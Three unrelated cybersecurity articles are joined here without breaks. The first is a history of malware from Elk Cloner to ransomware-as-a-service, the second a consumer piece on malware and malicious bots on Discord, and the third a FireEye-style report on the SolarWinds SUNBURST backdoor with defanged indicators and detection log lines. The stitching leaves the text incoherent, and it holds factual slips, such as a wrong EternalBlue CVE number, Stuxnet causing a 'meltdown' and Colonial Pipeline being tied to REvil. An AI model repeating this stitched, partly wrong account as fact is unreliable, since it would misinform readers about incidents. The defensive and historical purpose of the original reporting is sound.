Contrary to what every non-technical person says, “Macs are not susceptible to viruses,” the first computer virus found in the wild, dubbed “Elk Cloner,” was designed to target Apple II computers.
It was written by a then-15-year-old, who wrote such programs to play pranks on his friends.
This boot sector virus propagated whenever an infected disk was run.
The virus would reside in memory and look for a clean floppy disk to infect.
It displayed the following message: On the fiftieth boot, Elk Cloner would display a poem to the user: Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips
Yes, it’s Cloner!
It will stick to you like glue It will modify RAM too Send in the Cloner!
1986:
The first PC virus In 1986, computing was still rudimentary (slow and not internet connected).
The very first iterations of the internet were relegated to governments and universities.
It would be at least three years before Internet Service Providers (ISPs) started providing public access to the internet, in 1989.
Sure, Bulletin Board Systems (BBS) existed, but they required making a phone call to a direct point of presence (POP) hosted by the BBS operator.
Connections to the BBS were usually limited to the local audience of the BBS because phone calls to the BBS from outside the area code were billed by the minute, making them quite expensive.
However, 1986 also saw the launch of the first PC virus, dubbed “Brain.”
It changed the information security world as we know it today.
It originated in Pakistan but quickly spread worldwide to Europe and North America.
Ironically, the virus had replicated from machine to machine because of an anti-piracy countermeasure.
The Brain virus was developed by Amjad Farooq Alvi and Basit Farooq Alvi, two brothers from Pakistan who created a boot sector virus that loaded a warning to individuals using a pirated copy of their medical software.
Of course, because there wasn’t any internet, it spread through human interaction via the copying of floppy disks.
Unbeknownst to the user, the master boot record (MBR) of the victim’s machine was infected while making an illegal copy of the software and spread when the disk was inserted into the next machine.
Because there was no way to know that an infected MBR virus was coming along for the ride, it spread until it became a global phenomenon.
Luckily for many, it wasn’t a destructive virus.
It hid a particular sector so the machine wouldn’t boot and displayed a notification that included contact information of the Farooq Alvi brothers for remediation.
They claim that they wanted affected individuals to call them to discuss how to obtain their software legally.
Within the notification, it stated: Welcome to the Dungeon (c) 1986
Amjads (pvt) Ltd VIRUS_SHOE RECORD V9.0 Dedicated to the dynamic memories of millions of viruses who are no longer with us
today - Thanks GOODNESS!!
!
BEWARE OF THE er..VIRUS : this program is catching program follows after these messages....$#@%$@ !
!
Welcome to the Dungeon
© 1986 Basit & Amjads (pvt).
BRAIN COMPUTER SERVICES 730
NIZAM LBOCK
ALLAMA
IQBAL TOWN LAHORE-PAKISTAN PHONE: 430791,443248,280530.
Beware of this VIRUS....
Contact us for vaccination...
Their ingenious plan proved to be so successful that the brothers were swamped with phone calls from all over the world.
1988:
The Morris worm The difference between a virus and a worm is that a worm doesn’t need human interaction to propagate.
Over 30 years ago, the world’s first worm was born.
It was called the Morris worm, after its author, Robert Morris.
This worm was not malicious.
It was created as a Proof of Concept to see if hands-off replication was possible.
The worm contained several firsts.
It exploited vulnerabilities in various programs and services and checked to see if an existing infection was present, all behaviors of modern malware.
And because Morris was worried that system administrators would quarantine the worm and ignore the infection, he programmed it for persistence.
However, there was no way to stop the self-replication process, so it caused high loads on devices, rendering them inoperable, and caused a denial-of-service (DoS) in networks as it spread from machine to machine.
Mr. Morris was the first convicted under the Computer Fraud and Abuse Act.
However, he later became a successful entrepreneur and was awarded tenure at the Massachusetts Institute of Technology (MIT).
1989:
World’s first ransomware In 1989, the AIDS Trojan debuted, making it the worlds’ first observed ransomware .
Coincidentally, internet access was also first publicly available in 1989 for the first time through an ISP called TheWorld, out of the United States.
However, ransomware did not take advantage of internet connectivity to infect and target victims until 2005.
In 1989, the human AIDS virus was highly topical and relevant worldwide, similar to today’s COVID-19-related news.
The AIDS Trojan was sent via mail (yes, physical mail, not email) to AIDS researchers worldwide via 20,000 infected floppy disks.
Once the disk was run, it contained a questionnaire about AIDS.
But on the ninetieth reboot, it changed file names to encrypted strings and hid them from the user.
The screen then displayed a demand for $189 for a yearly lease or $385 for a lifetime license, sent to a PO Box in Panama.
Only bankers’ drafts, cashiers’ checks, or money orders were accepted.
The AIDS Trojan was attributed to the late Dr. Joseph Popp, who claimed that he created the ransomware to donate the funds he collected to AIDS research.
However, other reports state that he was upset with the World Health Organization after being rejected by them for a job.
On an interesting note, Dr. Popp did not send any of his floppy disks to researchers in the U.S. Forensic analysis of the malware revealed that the encryption key of the malware was “Dr.
Joseph Lewis Andrew Popp Jr.”
Dr. Popp was arrested and charged in the U.K., but during criminal proceedings, he was declared mentally unfit and deported back to the United States.
1992:
Michelangelo Michelangelo was the next high-profile virus to make a significant impact.
Michelangelo was a boot sector virus that targeted DOS partitions.
It was written in Assembly, and like its predecessors, it was spread via floppy disks due to its targeting of the master boot record and infection of attached floppy stores, allowing it to spread during the copying and loading process.
It was named Michelangelo because it had been programmed with a time bomb—an instruction to awaken on March 6, Michelangelo's birthday.
What made it infamous was that after it was discovered, there was a lot of media coverage warning users to either leave their computers off on that day or change the date on their machines to a day ahead to avoid being impacted.
This was the first time a virus had received so much attention from the mainstream media, in both print and television , helping to spur anti-virus software sales worldwide .
1994-95:
The warez scene and the first phishing attacks As internet usage gained traction in the United States through the launch of services such as America Online (AOL), CompuServe, and Prodigy, so did the growth of scams and phishing.
For many who grew up in AOL chatrooms, the progz (slang for programs) and warez (slang for software) scene of the mid-90s was revolutionary.
Because dial-up internet access was quite expensive, being provisioned by the minute, many threat actors were interested in stealing account credentials.
New programs began being traded on illicit warez chatrooms that contained punterz (to kick people offline), phishing progz (to steal user accounts), and tools used to generate random credit cards.
One of the most famous programs was AOHell, a play on the name of AOL, which contained a random account creator that used randomly created credit card accounts to open an account for free for a month.
It also contained one of the first evidences of phishing.
Fake automated AOL instant message bots sent indiscriminate IMs to targets asking them to verify their account credentials, claiming there was a problem with billing or some similar issue.
To continue talking to the bot, the victim would have to “verify their identity” by entering their username and password.
This information was then harvested by the users of the AOHell program to use or sell for free account access and spam.
Other nuances seen in AOL warez rooms were programs that promised to do specific things, but that were actually credential harvesters targeting uninformed “n00bs,” or beginner users/newbies.
Welcome to Y2K
The dawn of the new millennium saw more and more people connected globally.
And at the same time, there was a dramatic increase in the volume of attacks due to the increased number of potential victims, driven by the hyper-growth of the internet.
Besides the growth of new high-tech companies (the dotcom bubble), 1999 was a year mired in fear about the “Y2K” bug.
While not a virus, Y2K caused widespread panic because there was a fear that legacy computers would stop operating after December 31, 1999, due to a design flaw in the BIOS, which controls the computer's motherboard.
When rebooted on January 1, 2000, the operating system would believe it was January 1, 1900, disrupting everything from gas pumps and elevators to trading floors and power plants.
Ultimately, this design flaw proved to be less of a problem than thought, and most organizations and individuals escaped unscathed.
But the fear of Y2K dominated the news across the world for months.
1999/2000: First botnet appears By 2000, broadband access was starting to gain traction beyond those organizations that could afford access to a T1 line via Digital Subscriber Line (DSL) connections.
Home users and organizations were now able to be online 24x7.
And over the next few years, cybercriminals exploited this ubiquitous access by ushering in the era of botnets and worms.
When botnets first arrived, the term invoked thoughts of Skynet, the fictitious corporate villain from the Terminator movies.
But AI was still the domain of science fiction (and, of course, 22 years later, we are still only at the beginning stages of AI).
But that doesn’t mean that botnets weren’t a problem.
Simply put, a botnet is a group of compromised computers under the command and control of an operator.
Back then, botnets were simple.
They infected and spread between machines, with most botnet malware connecting to a predetermined command and control server (C2) on Internet Relay Chat (IRC—think of old AOL chatrooms) to receive instructions.
The first observed botnet was the EarthLink Spam botnet, which made its debut in 2000.
It had a simple task: to send out massive quantities of spam.
The EarthLink Botnet accounted for 25% of all email spam at the time, about 1.25 billion messages in total.
Because of this brazen campaign, it landed an unprecedented judgment against its operator Khan C. Smith for USD$25 million.
However, the GTbot was introduced in 1999, making it the actual first botnet.
In terms of malware, it was very rudimentary.
It essentially spread itself to other machines and received commands via IRC.
These commands were issued by GTbot controllers, who used this network of affected devices (known as zombies) to launch distributed denial-of-service ( DDoS ) attacks.
The rise of the worm Worms are still part of a threat actor’s arsenal, though not as commonplace today.
As explained earlier, worms are different from viruses as they do not need human interaction to spread.
And because a worm propagates on its own, it can spread widely in a short amount of time.
Regardless of its intention, being infected by a worm during this time period was usually quite noticeable because it often led to a denial-of-service (typically due to a flaw).
Because they consume ever-increasing operating system cycles, they eventually force an infected machine to come to a grinding halt.
The resulting DoS attack can cascade across an organization as the worm spreads, disrupting an entire organization, whether that was its intention or not.
2000: I LOVE YOU 2000 Blaster Sasser
The I LOVE YOU worm opened the millennium with significant media coverage because it spread around the world at record speed.
The I LOVE YOU worm was created by a Onel De Guzman, a college student in the Philippines.
The I LOVE YOU worm propagated using multiple mechanisms.
First, it was sent to users via email as a malicious attachment, “LOVE-LETTER-FOR-YOU.vbs.txt.”
When opened by the victim, the worm would look for the victims’ Microsoft Outlook address book and send out emails impersonating the victim and replicating itself as an attachment.
This novel approach caused millions of computers to be infected in days as many people trusted the emails coming from trusted associates, including friends, family, and colleagues.
This method of scraping a target’s address book and impersonating them in email is still used as part of a threat actors’ tradecraft (EMOTET).
2003: Blaster (MSBlast, lovesan)
By August 2003, many individuals and organizations were connected to the internet using a broadband connection.
This gave rise to record-breaking worm and wormlike attacks.
On August 11, 2003, Blaster (also known as MSBlast and lovesan) was launched.
Home users and workers at large organizations were shocked when their machines suddenly experienced the dreaded “Blue Screen of Death” (BSOD) and rebooted.
What they didn’t know was that they had been disrupted by the Blaster worm.
Blaster targeted a remote procedure call (RPC) vulnerability in Microsoft Windows XP and 2003 operating systems to propagate worldwide.
The worm's goal was to perform a SYN flood attack against windowsupdate.com to prevent machines from accessing updates.
Luckily for Microsoft, the author made the mistake of directing Blaster to the wrong domain.
The windowsupdate.com domain was nonessential as machines instead used windowsupdate.microsoft.com to receive their updates.
However, due to a bug in the worm, it also caused a denial-of-service (BSOD) due to buffer overflow.
Continued reboots did nothing to hamper the effort, as it just started over, shutting machines off over and over.
As a result of the wide adoption of internet connectivity, this became the first global denial-of-service attack.
The intentions of the authors were revealed in an ominous message found within the malware’s binary: I just want to say LOVE YOU SAN!
!
billy gates why do you make this possible ?
Stop making money and fix your software!
!
The worm resulted from the reverse engineering of a Microsoft Patch Tuesday patch (colloquially known as Exploit Wednesday).
Blaster did not affect organizations that had applied the ( MS03-026 ) patches before August 11th.
This example stresses the importance of organizations patching systems as quickly as possible once an update is released.
Unfortunately, to this day—18 years later—many organizations still ignore this advice.
Honorable mentions Code Red (2001)
This hybrid worm looked for vulnerable web servers running Microsoft IIS.
Once it found a vulnerable server, it displayed the following message: HELLO!
Welcome to http://www.worm.com!
Hacked By Chinese!
It also launched DDoS attacks against predetermined sites.
MyDoom (2004)
This was the fastest spreading email worm, surpassing I LOVE YOU.
MyDoom still holds the record for this feat.
The Dawn of Cybercrime 2005:
Mytob/Zotob, combining worms/backdoors/botnet Before Mytob, the world of malware was mainly limited to enthusiasts who created malware out of a desire to create mischief or sheer curiosity.
However, the Mytob/Zotob variants changed everything.
Mytob essentially combined the functionality of a worm/backdoor/botnet.
It is a variant of MyDoom and was created by the same coder that created the Zotob worm.
Mytob infected victim machines in two ways.
It either arrived via email through malicious attachments or exploited vulnerabilities in the LSASS (MS04-011) protocol or RCP-DCOM (MS04-012) and used remote code execution.
It also utilized the victim’s address book to propagate itself and searched for other machines via network scans to see if they could be compromised.
Mytob was one of the first viruses to specifically block or work against anti-virus software by preventing connectivity from the victims’ machine to various update sites.
This was done by redirecting all known vendor URIs to 127.0.0.1, a localhost IP.
This caused all queries to public-facing websites to resolve to the machine itself, essentially going nowhere.
Mytob was very prolific for its time and was consistently listed at the top of Top 10 charts.
It had so many variants with different functionalities that anti-virus companies often had the entire alphabet appended to the malware name.
The Zotob variant took remnants of the Mytob source and incorporated MS05-039 , which was a buffer overflow vulnerability in Microsoft Plug and Play for Windows 2000.
Zotob used this variant to scan for machines vulnerable to MS05-039 to further propagate.
Mytob/Zotob variants were incredibly disruptive, taking down the operations of 100 organizations, including the NY Times .
It was so disruptive that even CNN News anchor Wolf Blitzer announced that Lou Dobbs could not get on the air for his regularly scheduled programming.
The era of spyware and hijacked search results 2005: CoolWebSearch and BayRob CoolWebSearch, commonly known as “CWS, was the first cybercrime operation to hijack search results from Google, overlaying search results with those from the threat actors themselves.
This was done to steal clicks from Google.
CWS was most often distributed using drive-by downloads or adware programs.
It was so pervasive and hard to remove that volunteers developed programs and managed web forums to help remove CWS infections for free.
CWS Shredder was one of several programs widely used by victims of CoolWebSearch to help remediate their machines.
A similar attack appeared several years later, in 2007.
It used a variation of hijacking search results from eBay.
It was discovered when a woman in Ohio purchased a car for several thousand dollars, and the vehicle never arrived.
Authorities later determined that this car had never been listed for sale and that her machine had malware that injected fake listings on her device via the BayRob malware.
In a great example of cat and mouse, the FBI and Symantec waited patiently for years for the cybercriminals to make a mistake, which culminated in their arrests in 2016 .
From spyware to spy vs. spy and the discovery of nation-state cyber weapons 2010: Stuxnet Ushering in the 2010s was the first discovery of nation-state malware being used to target Industrial Control Services (ICS) devices—specifically, supervisory control and data acquisition devices (SCADA).
Stuxnet proved to be the first specific nation-state malware targeting critical infrastructure—in this case, industrial centrifuges (specifically nuclear), causing them to overspin and cause a meltdown.
Stuxnet specifically targeted organizations in Iran but soon spread to other SCADA systems around the world.
Analysis of the Stuxnet malware highlighted that it wasn’t specific to Iran and could be tailored to any organization running similar ICS devices.
In 2012, a NY Times article confirmed that the United States and Israel developed Stuxnet.
2011:
Regin Regin is a highly modular Remote Access Trojan (RAT).
This allowed it to be highly flexible, adapting to a targeted environment.
Regin was also successful because it was very innocuous in its operation.
Files that were exfiltrated were often kept in an encrypted container.
But instead of being stored in multiple files, everything was held in a single file, thereby avoiding arousing the suspicions of system administrators or AV software.
According to Der Spiegel, Regin was a creation of the United States NSA and designed to spy on the EU and its citizens.
This information was disclosed through the infamous classified information leak provided by Edward Snowden .
2012:
Flame Flame was considered the most advanced malware ever found at the time of discovery.
It had everything—a wormlike capability to spread via LAN networks, it could record and capture screenshots and audio, it could eavesdrop on and record Skype conversations, and it could turn Bluetooth workstations into listening beacons that could then exfiltrate and move files to other beacons, ultimately sending files to a predetermined C2 server.
Flame primarily targeted organizations in the Middle East.
The Ushering of the Modern Era of Ransomware 2011/12:
Reveton Reveton was not the first “ransomware” of the Internet-connected age.
That distinction belongs to GPCODe (2005) and others.
However, Reveton was the archetype of modern ransomware, helping establish the look and feel that still exists to this day, including the ubiquitous lock screen that provides details of what happened, how to get in touch with the bad actor, how to pay the ransom, and how to decrypt files, etc.
Reveton also generated a lot of press because it had all the hallmarks of being run by a professional cybercriminal organization.
It was not only professional in appearance, but also utilized templates, which was another first.
Lock screens would be displayed to the user based on geolocation and present the victim with a lock screen of a local law enforcement organization along with instructions on how to make payment.
Reveton used so many templates that researchers often cited releases based on its fall/winter/spring/summer templates.
2013:
CryptoLocker - the arrival of cryptocurrency as a payment option CryptoLocker was the first ransomware to demand payment via Bitcoin.
The price for decryption was two BTC, which in 2013 (depending on the timeframe) was somewhere between $13 and $1,100, which netted the threat actors a modest sum.
Remember, this was when cryptocurrency was still in its infancy, and getting non-technical victims to not only pay but understand how to even use cryptocurrency was a hurdle to overcome.
2013:
DarkSeoul and Lazarus Besides ransomware, 2013 also ushered in the era of sinister state-sponsored attacks.
DarkSeoul, as one attack was called, targeted the Korean broadcaster SBS and banking institutions in South Korea on March 20, 2013.
The malware used in this attack, Jokra, targeted a device’s master boot record (MBR) and overwrote them.
Many users of internet service providers, telecoms, and ATMs were also affected as their networks were taken offline.
This attack was attributed to Lazarus (North Korea), which also targeted Sony Corporation in 2014 by leaking confidential information in response to “The Interview,” a film that mocked North Korean leader Kim Jong Un.
The Lazarus team was also associated with attacks against the Bank of Bangladesh in 2016.
They attempted to steal $951 million but only managed to get away with $81 million due to various flags in the banking transaction chain.
2015:
Browser Locker and fake technical support scams (BSOD)
Although technically not malware, the first technical support scams and various browser locker variants first appeared in 2015.
These nuisance attacks essentially mimic ransomware by causing victims to either panic and call a support number to a threat actor acting as technical support in a different country or by simply paying cryptocurrency to “clean” their system.
The scheme deployed malicious JavaScript on legitimate websites that had been compromised.
This JavaScript would then render a browser inoperable, frequently displaying warnings and demands in full-screen mode (payment to unlock, selling fake remediation software or technical services, etc.
).
Other variations of this strategy were Blue Screen of Death (BSOD) displays, which looked convincing to the victim, including a toll-free number claiming to be Microsoft technical support, but in fact, it was a threat actor in a call center in a foreign country.
The threat actor would then attempt to convince the victim to provide remote access to their device for “remediation,” after which they would take control of the victim’s machine to perform further malicious acts while charging exorbitant fees for nonexistent services.
2016:
The first IoT botnet arrives The arrival of Mirai surprised many.
It was the first botnet to target IoT devices.
While it primarily targeted network routers, it included other IoT devices.
Mirai was mainly a DDoS botnet.
and was involved in notable attacks against Brian Krebs’s website, krebsonsecurity.com.
as well as being responsible for taking down a massive segment of the internet, disrupting access and services worldwide Unlike traditional network and end-user devices, most IoT devices are not maintained.
That is, they don’t receive updates on an automated basis, as a computer or smartphone does.
Instead, they are often neglected and hardly are ever updated, usually because updates require that they be flashed (meaning taken offline so the software and firmware can be overwritten entirely), which can be inconvenient or even disastrous because flashed devices can be bricked (meaning permanently rendered inoperable) if done wrong.
To make matters worse, many people who connect IoT devices to the internet directly do not change their default username and password.
Mirai exploited this vulnerability, allowing it to propagate without any difficulty.
Mirai was so prolific at one point that even famed cryptologist Bruce Schneier thought it may have been the creation of a nation-state.
Mirai was not only a high-profile attack because it was novel but also because it was able to amass a global botnet army in such a short amount of time, allowing it to redirect internet traffic to targeted sites from infected systems around the world.
This made it especially hard to defend against, as the flood of traffic came from everywhere.
In fact, variants of Mirai are still alive and kicking, as noted in a recent FortiGuard Labs blog , partly because the developers eventually released its code online for other criminals to use.
2017:
ShadowBrokers (NSA), WannaCry, Petya/NotPetya, and not disclosing vulnerabilities The ShadowBrokers leak of the United States National Security Agency (NSA) was unprecedented and devastating—not just because it revealed secret malware being developed at the highest levels of the U.S. government, but also because threat actors effectively repurposed the tools and exploits that were released.
These tools, codenamed “Fuzzbunch,” were an exploitation framework developed by the NSA.
Part of the framework included malware known as DoublePulsar, a backdoor attack that contained the infamous “EternalBlue” exploit.
EternalBlue was a zero-day exploit that the NSA kept in their arsenal that targeted Microsoft’s SMB (Server Message Block) protocol (CVE-2017-0444).
It was later used to spread the infamous WannaCry , Petya/NotPetya ransomware, with disastrous consequences.
These ransomware variants were so disruptive that they caused the shutdown of manufacturing facilities worldwide.
Attribution for this leak was initially blamed on Russia, but to this day, nobody has been able to attribute the ShadowBrokers hack/leak to an entity.
2017:
Mining for crypto Even though cryptocurrency-related threats were relegated initially to Ransomware or cryptocurrency wallet thefts, 2018 introduced a method never seen before.
XMRig is a miner application written to mine for Monero cryptocurrency and is not malicious.
It works by utilizing unused CPU cycles on a machine to help solve various mathematical problems used in cryptocurrency mining.
However, cybergangs began surreptitiously installing XMRig on compromised machines and devices and then collecting and aggregating the resulting data for their own crypto profit.
Common vulnerabilities exploited by various criminal attackers utilized known exploits in Apache Struts, Oracle Weblogic, and Jenkins Servers.
As a result, these attacks were relegated to organizations that used these technologies and, most important to the attackers, the powerful CPUs of the devices they ran on.
These vulnerabilities were also targeted because they were remotely exploitable.
Compounding matters, many of these internet-facing machines were also unlikely to be patched, either through carelessness or laziness, allowing threat actors to leverage them for profit.
For some fascinating insight on how these attacks worked, please reference our blog from 2018 here .
Variants of campaigns that incorporated XMRig in their attacks also targeted mobile devices via malicious Android APKs, docker containers, and supply chain attacks targeting NPM (node package manager), to list a few.
For additional information on these latest attacks on the NPM supply chain, please see our Threat Signal from November, Cryptominer and Infostealer Delivered via Hijacked Popular NPM Library .
2019:
GandCrab and the emergence of Ransomware as a Service GandCrab ushered in a new wave that has escalated the volume and virulence of attacks by providing ransomware for the masses—for a fee.
GandCrab sought to do two things: distance itself from the actual attacks on organizations and generate more revenue.
It perfected the business model known as Ransomware-as-a-Service (RaaS).
RaaS gave the GandCrab authors the luxury of working on their code while getting others to perform the actual breaches.
In this model, affiliates would do all the dirty work (reconnaissance, lateral movement, delivering the ransomware, collecting the money, etc.)
while the authors stayed in the background and took a cut (estimates are that they collected between 25% and 40%) of the actual ransom This proved to be lucrative for both parties, as the authors didn’t have to take the risk of finding and infecting targets, and affiliates didn’t have to spend time trying to develop the ransomware themselves.
GandCrab also appears to have followed the Agile development process, with minor and major releases deployed whenever the authors would see fit.
GandCrab later announced their retirement in June of 2019, after claiming to have netted $2 billion, most likely because they were feeling the heat of the authorities.
However, the GandCrab authors would later be loosely affiliated with the Sodonikibi and REvil threat actors, most notably as part of the infamous summer 2021 attack on Colonial Pipeline.
Other notable RaaS variants that have emerged since GandCrab are BlackCat, Conti, DarkSide, and Lockbit, to name a few.
Conclusion Between 1971 and early 2000, malware was mostly relegated to mischief and attempts by virus authors to see if something they had created would work.
Fast forward 20+ years, and we can see that the threat landscape has evolved from mischief to include profitable cybercrime and nation-state attacks.
Likewise, the evolution of the initial term “virus” to today’s all-encompassing “malware” reflects the evolution of threats over the past 20 years.
It is not coincidental that the development and changes of such attacks have coincided with the development of the hyper-connected world in which we now live.
As we embark on the next 25 years—thinking ahead for the 75 th anniversary of threats—we can only assume that threats will continue to target whatever technology or trends that are trending or topical.
Of course, it is much easier to forecast the next 12 months, as discussed in our recent “ Predictions for 2022:
Tomorrow’s Threats Will Target the Expanding Attack Surface ” blog.
Still, one thing remains clear, the biggest single risk will always be the human element.
Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about the Fortinet free cybersecurity training initiative , the Fortinet NSE Training program , Security Academy program , and Veterans program .
In the six years since the launch of Discord’s chat and VoIP service, the platform has become a popular tool for building communities of interest, especially among gamers.
However, just like any other platform that hosts user-generated content, Discord can be exploited.
Discord’s extensive customization options also open the door to attacks on ordinary users, both on and off the chat server.
Recent research into Discord security has revealed several cyberattack scenarios linked to its chat service, some of which can be truly dangerous for users.
Here’s how to protect yourself.
Malware being spread through Discord Malicious files distributed through Discord represent the most obvious threat.
A recent study identified several dozen types of malware.
We call this threat “obvious” simply because sharing files through Discord is very easy; every file uploaded to the platform is assigned a permanent URL, formatted as follows: cdn.discordapp.com/attachments/{channel ID}/{file ID}/{file name} Most files are freely available for download by anyone with the link.
The study describes a real-life attack example: a fake website offering Zoom Web conferencing client downloads.
The website looks like the real one, and the malicious file is hosted on a Discord server.
That gets around restrictions on downloading files from untrusted sources.
The rationale is that the servers of a popular application used by millions are less likely to be blocked by antimalware solutions.
The malicious “lifehack” is as obvious as are the means of combating it: High-quality security solutions look at more than just the download source to determine the level of threat a file may pose.
Kaspersky tools immediately detect malicious functionality the first time a user tries to download the file, for example, and then, with the help of a cloud-based security system, let all other users know the file should be blocked.
All services that permit uploads of user-generated content face issues of misuse.
Free Web hosting sites see phishing pages created on them, for example, and file-sharing platforms are used for spreading Trojans.
Form-filling services serve as spam channels.
The list goes on.
Platform owners do try to combat the abuse, but with mixed results.
Discord developers also clearly need to implement at least some basic means of user protection.
For example, files used on a particular chat server need not be made available to the whole world.
Checking and automatically blocking known malware also seems wise.
Regardless, this is Discord’s least exotic problem, and combating it is really no different than dealing with any other method of malware distribution.
It is not, however, the only threat users face.
Malicious bots Another recent study demonstrates how easy it is to exploit Discord’s bot system.
The bots extend chat server functionality in various ways, and Discord offers a vast array of options for customizing users’ own chats.
One example of chat-related malicious code was recently published on (and fairly quickly removed from)
GitHub:
Using mainly capabilities provided by the Discord API, the author was able to execute arbitrary code on a user’s computer.
It might look something like this: A malicious chatbot launches an arbitrary program on a user’s computer after receiving a command through a Discord chat.
Source In one attack scenario, malicious code relies on a locally installed Discord client to launch automatically on startup.
Installing a bot from an untrusted source can lead to such an infection.
The researchers also looked at another Discord misuse scenario that doesn’t rely on the user having installed a Discord client.
In this case, the malware uses the chat service to communicate.
Thanks to the public API, uncomplicated registration process, and basic data encryption, a backdoor can easily and conveniently use Discord to send data about the infected system to its operator and, in turn, receive commands to execute code, upload new malicious modules, and more.
That kind of scenario appears quite dangerous; it greatly simplifies the work of attackers, who then do not need to create a communication interface with infected computers but can instead use something already available.
At the same time, it somewhat complicates the detection of malicious activity; conversations between the backdoor and its operator look like regular user activity in a popular chat.
Protection for gamers Although the aforementioned threats apply to all Discord users, they relate mainly to those who use Discord as a game add-in: for voice and text communication, streaming, collecting gaming statistics, and so on.
Such use entails substantial customization and adds to users’ risks of finding and installing malicious extensions.
The relaxed, seemingly safe environment actually represents further threat, increasing the success rate of social engineering techniques — bait goes down easier in a cozy chat with people you believe are your friends.
We recommend following the same digital hygiene rules on Discord as you do elsewhere on the Web: Don’t click suspicious links or download obscure files; scrutinize offers that sound too good to be true; and refrain from sharing any personal or financial information.
As for the Trojans and backdoors, Discord-based or simply distributed through the platform, they are not special or essentially different from other kinds of malware.
Use a reliable antivirus app to stay safe, keep it running at all times — including when you install any software or add bots to a chat server — and pay attention to its warnings.
Performance need not be a concern.
For example, our security products include a game mode that minimizes overhead without compromising protection.
Executive Summary We have discovered a global intrusion campaign.
We are tracking the actors behind this campaign as UNC2452.
FireEye discovered a supply chain attack trojanizing SolarWinds Orion business software updates in order to distribute malware we call SUNBURST.
The attacker’s post compromise activity leverages multiple techniques to evade detection and obscure their activity, but these efforts also offer some opportunities for detection.
The campaign is widespread, affecting public and private organizations around the world.
FireEye is releasing signatures to detect this threat actor and supply chain attack in the wild.
These are found on our public GitHub page .
FireEye products and services can help customers detect and block this attack.
Summary FireEye has uncovered a widespread campaign, that we are tracking as UNC2452.
The actors behind this campaign gained access to numerous public and private organizations around the world.
They gained access to victims via trojanized updates to SolarWind’s Orion IT monitoring and management software.
This campaign may have begun as early as Spring 2020 and is currently ongoing.
Post compromise activity following this supply chain compromise has included lateral movement and data theft.
The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security.
SUNBURST Backdoor SolarWinds.
Orion.
Core.
BusinessLayer.dll is a SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers.
We are tracking the trojanized version of this SolarWinds Orion plug-in as SUNBURST.
After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services.
The malware masquerades its network traffic as the Orion Improvement Program (OIP) protocol and stores reconnaissance results within legitimate plugin configuration files allowing it to blend in with legitimate SolarWinds activity.
The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers.
Figure 1: SolarWinds digital signature on software with backdoor Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website, including: hxxps://downloads.solarwinds[.
]com/solarwinds/CatalogResources/Core/2019.4/2019.4.5220.20574/SolarWinds-Core-v2019.4.5220-Hotfix5.msp
The trojanized update file is a standard Windows Installer Patch file that includes compressed resources associated with the update, including the trojanized SolarWinds.
Orion.
Core.
BusinessLayer.dll component.
Once the update is installed, the malicious DLL will be loaded by the legitimate SolarWinds.
BusinessLayerHost.exe or SolarWinds.
BusinessLayerHostx64.exe (depending on system configuration).
After a dormant period of up to two weeks, the malware will attempt to resolve a subdomain of avsvmcloud[.
]com.
The DNS response will return a CNAME record that points to a Command and Control (C2) domain.
The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications.
The list of known malicious infrastructure is available on FireEye’s GitHub page .
Worldwide Victims Across Multiple Verticals FireEye has detected this activity at multiple entities worldwide.
The victims have included government, consulting, technology, telecom and extractive entities in North America, Europe, Asia and the Middle East.
We anticipate there are additional victims in other countries and verticals.
FireEye has notified all entities we are aware of being affected.
Post Compromise Activity and Detection Opportunities We are currently tracking the software supply chain compromise and related post intrusion activity as UNC2452.
After gaining initial access, this group uses a variety of techniques to disguise their operations while they move laterally (Figure 2).
This actor prefers to maintain a light malware footprint, instead preferring legitimate credentials and remote access for access into a victim’s environment.
Figure 2:
Post-compromise tactics This section will detail the notable techniques and outline potential opportunities for detection.
TEARDROP and BEACON Malware Used Multiple SUNBURST samples have been recovered, delivering different payloads.
In at least one instance the attackers deployed a previously unseen memory-only dropper we’ve dubbed TEARDROP to deploy Cobalt Strike BEACON.
TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header.
Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format.
TEARDROP does not have code overlap with any previously seen malware.
We believe that this was used to execute a customized Cobalt Strike BEACON.
Mitigation : FireEye has provided two Yara rules to detect TEARDROP available on our GitHub .
Defenders should look for the following alerts from FireEye HX:
MalwareGuard and WindowsDefender: Process Information file_operation_closed file-path*: “c:\\\\windows\\\\syswow64\\\\netsetupsvc.dll actor-process: pid: 17900
Window’s defender Exploit Guard log entries: (Microsoft-Windows-Security-Mitigations/KernelMode event ID 12) Process”\\Device\\HarddiskVolume2\\Windows\\System32\\svchost.exe” (PID XXXXX) would have been blocked from loading the non-Microsoft-signed binary ‘\\Windows\\SysWOW64\\NetSetupSvc.dll’
Attacker Hostnames Match Victim Environment The actor sets the hostnames on their command and control infrastructure to match a legitimate hostname found within the victim’s environment.
This allows the adversary to blend into the environment, avoid suspicion, and evade detection.
Detection Opportunity
The attacker infrastructure leaks its configured hostname in RDP SSL certificates, which is identifiable in internet-wide scan data.
This presents a detection opportunity for defenders -- querying internet-wide scan data sources for an organization’s hostnames can uncover malicious IP addresses that may be masquerading as the organization.
(Note: IP Scan history often shows IPs switching between default (WIN-*) hostnames and victim’s hostnames)
Cross-referencing the list of IPs identified in internet scan data with remote access logs may identify evidence of this actor in an environment.
There is likely to be a single account per IP address.
IP Addresses located in Victim’s Country
The attacker’s choice of IP addresses was also optimized to evade detection.
The attacker primarily used only IP addresses originating from the same country as the victim, leveraging Virtual Private Servers.
Detection Opportunity
This also presents some detection opportunities, as geolocating IP addresses used for remote access may show an impossible rate of travel if a compromised account is being used by the legitimate user and the attacker from disparate IP addresses.
The attacker used multiple IP addresses per VPS provider, so once a malicious login from an unusual ASN is identified, looking at all logins from that ASN can help detect additional malicious activity.
